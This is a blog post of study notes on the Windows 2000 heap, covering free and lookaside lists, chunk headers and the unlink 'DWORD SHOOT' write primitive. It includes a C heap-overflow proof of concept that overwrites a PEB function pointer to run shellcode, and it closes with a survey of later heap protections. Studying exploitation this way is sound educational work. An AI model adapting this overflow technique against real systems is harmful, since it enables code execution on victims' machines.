Rereading 0day Security (2), the NT5 Heap, DWORD SHOOT and the First Heap Protections

3222 words
16 minutes
Rereading 0day Security (2), the NT5 Heap, DWORD SHOOT and the First Heap Protections
This post is also available in 简体中文.

Part two of my “Rereading 0day Security” series. These are the notes I kept in 2020 while doing the labs in 0day Security: Software Vulnerability Analysis Techniques, 2nd edition (by failwest and others). The labs and code come from the book, and the memory observations are what I wrote down while debugging. When I tidied this up in 2026 I fixed a few mistakes and added “Looking at it again today” at the end.

The Windows heap has always been a messy place, and the way it’s managed is really strange

Note: everything here was done on Windows 2000

About the heap#

How it differs from the stack#

  • The heap is memory a programmer asks the OS for with functions like malloc. Whether that works depends a lot on the state of the OS, and unlike the neatly managed stack, its management and allocation algorithms are very peculiar
  • The programmer frees heap memory with free or delete, while the system frees the stack automatically
  • Heap addresses vary a lot, while stack addresses are fairly fixed. On 2000/XP the main thread’s stack is usually at 0x0012XXXX
  • The heap grows from low addresses to high, the stack from high to low

Heap security#

  • The heap is chaotic, so exploiting it is much harder than exploiting the stack, and Microsoft never documented how it’s managed, which makes research harder
  • From Windows 2000 to Windows XP SP1, heap management didn’t think about security at all and was easy to exploit
  • From Windows XP SP2 to Windows 2003, it gained a cookie in the chunk header, pointer validation and so on
  • From Windows Vista to Windows 7, heap management changed a lot in security, stability and efficiency

Heap data structures and how they’re managed#

Two kinds of heap structure#

  • Heap chunks: heap memory is organized into chunks of different sizes, and the chunk is the unit everything is tracked by.
    • Chunk header: this chunk’s size and whether it’s in use
    • Chunk body: the data
  • Heap tables: these sit at the start of the heap and index all the important information about it, including each chunk’s size, location and whether it’s in use. A heap table usually takes more than one kind of data structure.
  • On Windows, a chunk in use is only referenced by the program using it. The heap tables only index free chunks.
  • The important heap tables on Windows:
    • Doubly linked free lists (Freelist)
      • There are 128 free lists. The second one, freelist[1], tracks free chunks of 8 bytes, and each one after that goes up by 8 bytes
      • free chunk size (including header) = index * 8 (bytes)
      • freelist[0] tracks every chunk bigger than 1024 bytes (up to 512KB), sorted from smallest to largest
    • Singly linked fast lists (Lookaside)
      • There are 128 lookaside lists, organized like the free lists but singly linked
      • They always start out empty, and each one holds at most 4 nodes
      • Every node is marked as in use, so chunks on them never get coalesced

How it’s managed#

  • Allocating chunks
    • From free list zero: free chunks of different sizes are linked in ascending order. It looks backwards from free[0] for the last chunk, then searches forwards for the smallest free chunk that fits
    • From an ordinary free list: look for the best fit first, then the next best
    • From a lookaside list: find the list with a matching size, take the chunk off, and give the program a pointer to it
    • When no free list has an exact fit, a slightly bigger chunk is used. This is the next-best fit. It cuts a piece of exactly the requested size out of the big chunk, writes a new header on what’s left, and links that back into a free list.
    • Lookaside lists only hand out exact matches, so none of that happens there
  • Freeing chunks
    • The chunk is marked free and linked into the matching heap table. Freed chunks go on the end of the table, and allocation also takes from the end first.
  • Coalescing chunks
    • Allocating and freeing over and over leaves lots of fragments, so some chunks get merged to use memory sensibly
    • That means taking two chunks off their free lists, merging them, fixing up the header of the new bigger chunk, and linking it back into a free list
    • The heap also gets compacted (shrink the compact) by RtlCompactHeap, which goes over the whole heap and merges whatever free fragments it can
  • Allocation and free strategy by size
    • Small chunks (SIZE<1KB)
      • Allocating
        • Lookaside list first, then an ordinary free list
        • If that fails, use the heap cache
        • If the heap cache fails, compact the heap and try again
        • If it still can’t allocate, return NULL
      • Freeing
        • Link into the lookaside list first (it only takes 4 free chunks)
        • If the lookaside list is full, link into the matching free list
    • Large chunks (1KB<=SIZE<512KB)
      • Allocating
        • Use the heap cache
        • If the heap cache fails, use a big chunk from free[0]
      • Freeing
        • Put it in the heap cache first
        • If the heap cache is full, link it into freelists[0]
    • Huge chunks (SIZE>=512KB)
      • Allocating: virtual allocation (not from the heap at all)
      • Freeing: freed directly, no heap table involved

Hands-on#

Learned the hard way: in both the free lists and the lookaside lists, the Blink/Flink pointers always point at the Blink/Flink of the next/previous node

Testing the free lists#

Code#

#include <windows.h>
void main()
{
HLOCAL h1, h2, h3, h4, h5, h6;
HANDLE hp;
hp = HeapCreate(0, 0x1000, 0x10000);
__asm int 3;
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 3);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 5);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 6);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 19);
h6 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
//free block and prevent coaleses
HeapFree(hp, 0, h1); // free to freelist[2]
HeapFree(hp, 0, h3); // free to freelist[2]
HeapFree(hp, 0, h5); // free to freelist[4]
HeapFree(hp, 0, h4); // coalese h3 h4 h5 link the large block to freelist[8]
}

What I saw#

The INT breakpoint brings up the debugger before anything runs#
  • After HeapCreate() creates the heap, it hands the heap pointer back in EAX, which is 0x360000 here
  • Looking at memory at 0x360000, what comes after it in order is (copied from the book, I honestly don’t know how big each of these structures is) the segment list (SegmentList), the virtual allocation list (VirtualAllocationList), the freelist usage bitmap, and the free list index area
  • At offset 0x178 I found the free list index. It holds 0x00360688, so freelist[0] points at offset 0x688. Let’s take a peek at what’s there
  • What’s there is 0x00360178. Neat, it points back at freelist[0], going all the way around to itself. So this freelist[0] points to the only free chunk on the heap, usually called the “tail chunk”
  • From the chunk layout (further down), the chunk actually starts at 0x00360680. The chunk pointer seems to skip the header and point straight at the data
  • Bytes 0x1-0x2 are its own size. The value is 0x0130, so the chunk is 0x130 heap units (8 bytes each)
  • Bytes 0x3-0x4 are the previous chunk’s size, and the value is 0x08 (??? wasn’t this supposed to be the only one???)
  • Byte 0x5 is the index, which is 0
  • Byte 0x6 is the flag, which is 1
  • Byte 0x7 is reserved, 0
  • Byte 0x8 is the tag index (debug only). No idea what it does, it’s 0
  • Bytes 0x9-0xC (free chunks only) are the address of the previous free chunk, 0x00360178
  • Bytes 0xD-0x10 (free chunks only) are the address of the next free chunk, also 0x00360178
After the six allocations#
  • 0x00360680-0x00360687 is h1’s header and 0x00360688-0x0036068F its 8-byte body, holding 00 00 00 00 78 01 36 00
  • 0x00360690-0x00360697 is h2’s header and 0x00360698-0x0036069F its 8-byte body, holding 00 00 00 00 00 01 36 00
  • 0x003606A0-0x003606A7 is h3’s header and 0x003606A8-0x003606AF its 8-byte body, holding 00 00 00 00 00 00 36 00
  • 0x003606B0-0x003606B7 is h4’s header and 0x003606B8-0x003606BF its 8-byte body, holding 00 00 00 00 00 00 00 00
  • 0x003606C0-0x003606C7 is h5’s header and 0x003606C8-0x003606DF its 24-byte body, holding 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  • 0x003606E0-0x003606E7 is h6’s header and 0x003606E8-0x003606FF its 24-byte body, holding 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Freeing#
  • The first free is h1. With its header it’s 16 bytes, so it goes onto freeList[2], at 0x188, which now holds 0x00360688
  • h3, freed second, is also 16 bytes and also goes onto freeList[2]. Same details, so I’ll skip them
  • h5, freed third, is a 24-byte body plus an 8-byte header, 32 bytes in total, and goes onto freeList[4]
  • On the fourth free, h3, h4 and h5 are next to each other, so they get merged. h3 and h4 are 2 heap units each and h5 is 4, so the merged chunk is 8 heap units (64 bytes, with one header) and goes into freeList[8] by size = index * 8

What I learned#

  • The heap table holds, in order, the segment list (SegmentList), the virtual allocation list (VirtualAllocationList), the freelist usage bitmap, and the free list index area
  • What the chunks look like right after a heap is initialized
    • There’s just one big free chunk, called the “tail chunk”
    • After it come the lookaside lists
    • Freelist[0] points at the “tail chunk”
    • Except for free list zero, every index in that area points at itself, which means all the other free lists are empty
  • Header of a chunk in use
struct Flag
{
BIT Busy;
BIT ExtraPresent;
BIT FillPattern;
BIT VirtualAlloc;
BIT LastEntry;
BIT FFU1;
BIT FFU2;
BIT NoCoalesce;
}
struct BusyHeapHeadBlock
// 8 Byte Head
{
USHORT SelfSize;
USHORT PreviousChunkSize;
UCHAR SegmentIndex;
struct Flag Flags;
UCHAR UnusedBytes;
UCHAR TagIndex_Debug;
}
// Data After...
  • Header of a free chunk
struct Flag
{
BIT Busy;
BIT ExtraPresent;
BIT FillPattern;
BIT VirtualAlloc;
BIT LastEntry;
BIT FFU1;
BIT FFU2;
BIT NoCoalesce;
}
struct FreeHeapHeadBlock
// 16 Byte Head
{
USHORT SelfSize;
USHORT PreviousChunkSize;
UCHAR SegmentIndex;
struct Flag Flags;
UCHAR UnusedBytes;
UCHAR TagIndex_Debug;
PVOID FlinkInFreelist; // next
PVOID BlinkInFreelist; // previous
}
// Empty Data After...
  • Allocating chunks
    • The chunk size includes the header, so asking for 32 bytes allocates 40
    • The heap unit is 8 bytes and anything smaller is rounded up to 8, so the smallest real allocation is 16 bytes
    • At the start, the lookaside and free lists are both empty, so there’s no exact fit and the request is served by a next-best chunk
    • Because of that next-best allocation, the allocator cuts small pieces off the tail chunk, updates the size in the tail chunk’s header, and finally points freelist[0] at the new tail chunk

Testing the lookaside lists#

Code#

#include <stdio.h>
#include <windows.h>
void main()
{
HLOCAL h1, h2, h3, h4;
HANDLE hp;
hp = HeapCreate(0, 0, 0);
__asm int 3
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 24);
HeapFree(hp, 0, h1);
HeapFree(hp, 0, h2);
HeapFree(hp, 0, h3);
HeapFree(hp, 0, h4);
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
HeapFree(hp, 0, h2);
}

What I learned#

  • The header flag is 0x01
  • There’s only a pointer to the next chunk, none to the previous one
  • freeList[0] at offset 0x178 changed to 0x00361E90, because the lookaside lists took over the old 0x00360688
  • The lookaside lists start at 0x688. Each one is 0x30 bytes, and its first four bytes are the singly linked list
  • The book says an 8-byte chunk gets put into lookaside[1], but it looks to me like the one at 0x688 is lookaside[0], the one at 0x6B8 is lookaside[1], and the one at 0x6E8 could be called lookaside[2], holding chunks that are 16 bytes including the header

Exploiting heap overflows#

Once you can follow how chunks get linked and unlinked, the next step is getting the heap to write memory for us.

Note: this was also done on Windows 2000

Unlinking#

The idea#

  • Allocating a chunk “unlinks” it from a free list
  • Freeing a chunk links it into a free list
  • Coalescing “unlinks” several chunks from free lists, updates the header (size), and then “links” the new chunk back into a free list

Exploiting a heap overflow means crafting data that overflows into the next chunk’s header, overwriting its forward and backward pointers, and then waiting for an allocate, free or coalesce to give you one chance to write any data to any address in memory

  • This chance to write any value anywhere is called a DWORD SHOOT/ARBITRARY DWORD RESET
TargetPayloadResult
A function’s return address in a stack frameShellcode start addressShellcode runs when the function returns
The S.E.H handler in a stack frameShellcode start addressShellcode runs when an exception happens
An important function pointerShellcode start addressShellcode runs when the function is called

Hands-on#

Code#
#include <windows.h>
int main()
{
HLOCAL h1, h2,h3,h4,h5,h6;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
_asm int 3//used to break the process
//free the odd blocks to prevent coalesing
HeapFree(hp,0,h1);
HeapFree(hp,0,h3);
HeapFree(hp,0,h5); //now freelist[2] got 3 entries
//will allocate from freelist[2] which means unlink the last entry
//(h5)
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
What I found#
  • When h1 gets h5’s space, if h5’s Blink and Flink have already been overwritten by an overflow, [Flink] gets written into [Blink]

Unlinking runs node->blink->flink = node->flink. Flink sits right at the start of the node, so that line means “write the value of Flink to the address Blink points at”, and we wrote both pointers.

Planting code#

The idea#

  • Aim at RtlEnterCriticalSection, the PEB synchronization function pointer that ExitProcess calls, and run the shellcode after the heap overflow inside the program raises an exception

Example 1 (watching the exception)#

#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// end of the 200-byte heap chunk, overflow data below
"\x16\x01\x1A\x00\x00\x10\x00\x00" // next chunk's header, kept as is
"\x88\x06\x36\x00" // shellcode start address
"\x20\xF0\xFD\x7F"; // where the PEB synchronization function pointer lives
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000, 0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
__asm int 3 //used to break process
memcpy(h1, shellcode, 0x200); //overflow,0x200=512
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
return 0;
}
Takeaway#
  • All that’s missing is the actual shellcode

Example 2 (complete)#

With the exception working, what’s left is putting real shellcode that pops a box into those 200 bytes. The tail of the overflow stays the same three pieces, “next chunk header + shellcode start address + location of the PEB synchronization function pointer”. For the shellcode itself I used the popup code from part one that finds APIs dynamically. It’s long, so I won’t paste the whole thing again.

Dropping it straight in hits a snag. The DWORD SHOOT changed the RtlEnterCriticalSection pointer in the PEB into the shellcode’s address, but ExitProcess still calls through that pointer, so right after the shellcode finishes it gets called again as if it were a critical section function, and the program crashes. So the shellcode first has to put that pointer back to its original value, and only then run the popup part:

; repair the PEB function pointer the DWORD SHOOT broke
B8 20F0FD7F mov eax, 0x7FFDF020 ; where the RtlEnterCriticalSection pointer lives in the PEB
BB 4CAAF877 mov ebx, 0x77F8AA4C ; the function's original address (changes with the OS version)
89 18 mov [eax], ebx ; put the pointer back
; ...followed by the popup shellcode from part one...

With those three instructions added, this heap overflow pops the MessageBox reliably on Win2000.

Note that every address here (0x7FFDF020, 0x77F8AA4C, and the shellcode start 0x00360688) is hardcoded. Change the OS version, or sometimes just run it again, and they’re wrong. That’s exactly what the protections after XP SP2 below go after.


The heap under protection#

The Win2000 heap had almost no defenses. From XP SP2 on, Microsoft added one mechanism after another, and the tricks above stopped working one by one.

PEB randomization#

After Windows XP SP2, Microsoft stopped using the fixed PEB base 0x7FFDF000 and gave the PEB a somewhat random base instead. That mostly hurts attacks on function pointers in the PEB. For a DWORD SHOOT, the function pointers in the PEB are a perfect target, and once the base moves, that hardcoded 0x7FFDF020 above is hard to find.

Microsoft rewrote the code that handles the doubly linked lists and became more careful when unlinking chunks from the free lists. Before SP2, unlinking looked something like this:

int remove(ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}

That’s exactly our way in for the DWORD SHOOT. SP2 checks that the forward and backward pointers are intact before removing anything:

int safe_remove(ListNode * node)
{
if((node->blink->flink == node) && (node->flink->blink == node))
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 1;
}
else
{
// list pointers are corrupted, raise an exception
return 0;
}
}

Forged Flink/Blink values can’t pass this “you point at me, I point at you” check, so the unlink route is basically closed.

Like the security cookie on the stack, Microsoft also put a 1-byte cookie in the chunk header, to detect whether an overflow changed the header.

Metadata encoding#

Starting with Windows Vista, some important fields in the chunk header (size, Flink, Blink and so on) are XORed with a random 4-byte value when stored and XORed back when used. Without knowing that value you can’t forge a meaningful header directly, which makes the header-overwriting attacks above even harder.

Another angle, resizing chunks#

SafeUnlink only checks the doubly linked list when taking a chunk off, not when putting one on. So one idea is to trigger an insertion, either by freeing a chunk into a free list, or by an allocation whose leftover gets cut off and inserted into a free list. Inserting a new chunk runs:

  • newchunk->Blink = oldchunk->Flink->Blink
  • oldchunk->Flink->Blink->Flink = newchunk
  • oldchunk->Flink->Blink = newchunk

If you control the old chunk’s Flink (overwritten with an address) and Blink (overwritten with a value), the second line is a DWORD SHOOT all over again. I never wrote a full exploit for this back then, so I’m just leaving the idea here.


Looking at it again today#

Every lab above uses the Windows 2000 heap (the NT5 heap), which you basically won’t find on today’s Windows.

The protections from XP SP2 to Vista (safe unlink, heap cookies, metadata encoding) shut down the classic “overwrite the header + DWORD SHOOT through unlink” route. The bigger change is that the heap implementation itself got replaced. From Vista on, the system turns on the Low Fragmentation Heap (LFH) when it’s needed. It isn’t a separate heap. It hands out small chunks (under about 16KB) in batches of fixed size classes, and programs don’t have to enable it, the system just switches it on when it sees lots of small allocations. Windows 10 2004 added the Segment Heap on top of that, which you can turn on with <heapType>SegmentHeap</heapType> in the app manifest (system processes and some modern apps use it by default). The metadata layout, checks and randomization of both are completely different from the NT5 heap, so not a single offset or struct from the book lines up anymore.

That’s why heap exploitation today rarely touches the heap’s own metadata. The usual approach is heap layout (heap grooming, or heap feng shui). You carefully arrange allocations and frees so that an object you control lands right where your overflow can reach, and then you change something inside that application object, like a vtable pointer, a length field or a callback pointer. You use an info leak to get addresses first, then decide where to write. In other words, the target moved from “the heap manager’s lists” to “the objects living on the heap”, while the heap manager keeps getting hardened. At the level of ideas, what this post is about still holds today, that the moments of allocate, free and coalesce are the moments to strike. What changed is only where exactly you strike.

Share Article

If this article helped you, please share it with others!

Rereading 0day Security (2), the NT5 Heap, DWORD SHOOT and the First Heap Protections
https://blog.lumysia.net/posts/reread-0day-2-nt5-heap/
Author
Livia
Published at
2020-10-20
Random PostsRandom

Comments

Table of Contents